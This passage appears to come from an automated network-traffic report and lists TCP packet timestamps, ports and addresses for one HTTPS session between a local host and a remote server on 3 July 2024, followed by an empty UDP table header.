Jul 3, 2024 08:49:50.704772949 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.704803944 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.708506107 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.708563089 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.708574057 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.708589077 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.708648920 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.708657980 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.708687067 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.713319063 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.713392019 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.714646101 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.714694023 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.714704037 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.714735031 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.714742899 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.714778900 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.714936972 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.714973927 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.714982986 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.715033054 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.715039015 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.715074062 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.720613956 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.720660925 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.720669031 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.720700026 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.720915079 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.720961094 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.720968008 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.720998049 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.721004963 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.721033096 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.723582983 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.723623037 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.726592064 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.726644039 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.726645947 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.726656914 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.726679087 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.726701975 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.726918936 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.726958036 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.726968050 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.727004051 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.727010965 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.727054119 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.732415915 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.732465982 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.732491970 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.732553005 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.732883930 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.732920885 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.732932091 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.732964993 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.732970953 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.732978106 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.732997894 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.733021021 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.738275051 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.738348007 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.738358974 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.738394976 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.738401890 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.738441944 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.738444090 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.738455057 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.738478899 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.738497972 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.738503933 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.738548040 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.742187023 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.742243052 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.742255926 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.742289066 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.742296934 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.742336035 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.742342949 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.742378950 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.742386103 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.742433071 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.742619038 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.742659092 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.747900963 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.747953892 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.747958899 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.747972012 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.747996092 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.748033047 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.748100042 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.748128891 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.748136997 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.748176098 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.748187065 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.748225927 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.753061056 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.753125906 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.753137112 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.753175974 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.753243923 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.753282070 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.753325939 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.753365040 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.753490925 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.753530025 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.753536940 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.753582954 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.758656025 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.758708000 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.758759975 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.758800983 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.759167910 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.759206057 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.759228945 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.759270906 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.759280920 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.759315968 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.763858080 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.763904095 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.763912916 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.763951063 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.763957977 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.763994932 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.764003038 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.764039040 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.764041901 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.764054060 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.764081001 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.764101982 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.764106989 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.764146090 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.769064903 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.769110918 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.769151926 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.769184113 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.769604921 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.769639015 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.769651890 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.769687891 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.769695044 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.769725084 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.769731998 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.769762993 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.774142027 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.774188995 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.774202108 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.774213076 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.774238110 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.774255991 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.774270058 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.774311066 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.774318933 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.774350882 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.778455973 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.778508902 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.778644085 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.778683901 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.778697014 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.778733015 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.778778076 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.778810024 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.778817892 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.778888941 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.778940916 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.778984070 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.783139944 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.783198118 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.783255100 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.783299923 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.783309937 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.783369064 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.783438921 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.783489943 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.783498049 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.783530951 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.783538103 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.783574104 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.788548946 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.788606882 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.788619995 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.788703918 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.788712025 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.788753033 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.788829088 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.788897991 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.788914919 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.788954020 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.788959980 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.789000034 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.798707962 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.798763990 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.798794031 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.798798084 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.798798084 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.798830986 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.798865080 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.798876047 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.798891068 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.798923969 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.798959017 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.799000978 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.800965071 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.801016092 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.801189899 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.801230907 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.801244020 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.801280022 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.801285028 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.801294088 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.801317930 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.801340103 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.801893950 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.801943064 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.807173014 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.807224035 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.807238102 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.807250023 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.807281971 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.807301998 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.807344913 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.807502031 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.807553053 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.807564020 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.807600975 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.812915087 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.812975883 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.812989950 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.813040018 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.813054085 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.813093901 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.813191891 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.813232899 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.813323021 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.813364983 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.813371897 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.813410044 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.819006920 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.819076061 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.819082022 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.819094896 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.819118977 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.819148064 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.819160938 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.819209099 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.819216967 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.819259882 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.819572926 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.819632053 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.824683905 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.824764013 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.824771881 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.824804068 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.824817896 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.824856997 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.824862957 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.824901104 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.825037003 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.825079918 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828270912 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828319073 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828331947 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828342915 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828352928 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828380108 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828555107 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828596115 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828596115 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828609943 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828634977 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828655958 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.828660011 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.828695059 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.834218979 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.834269047 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.834275961 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.834312916 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.834342957 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.834381104 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.834449053 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.834492922 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.834610939 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.834651947 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.839202881 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.839251995 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.839396954 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.839438915 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.839445114 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.839481115 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.839509010 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.839550018 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.839557886 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.839593887 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.839689016 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.839745998 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.845587015 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.845642090 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.845649004 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.845685959 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.845802069 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.845843077 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.845854998 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.845921993 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.845932961 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.845980883 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.846091032 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.846139908 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.849924088 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.849983931 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.849992037 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.850025892 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.850080013 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.850121021 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.850126982 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.850161076 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.850426912 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.850471020 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.850476027 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.850512028 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855433941 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855504036 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855511904 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855550051 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855797052 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855840921 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855846882 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855887890 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855894089 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855914116 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855931997 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855942011 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.855952024 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.855952024 CEST	49727	443	192.168.2.6	142.250.186.33

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
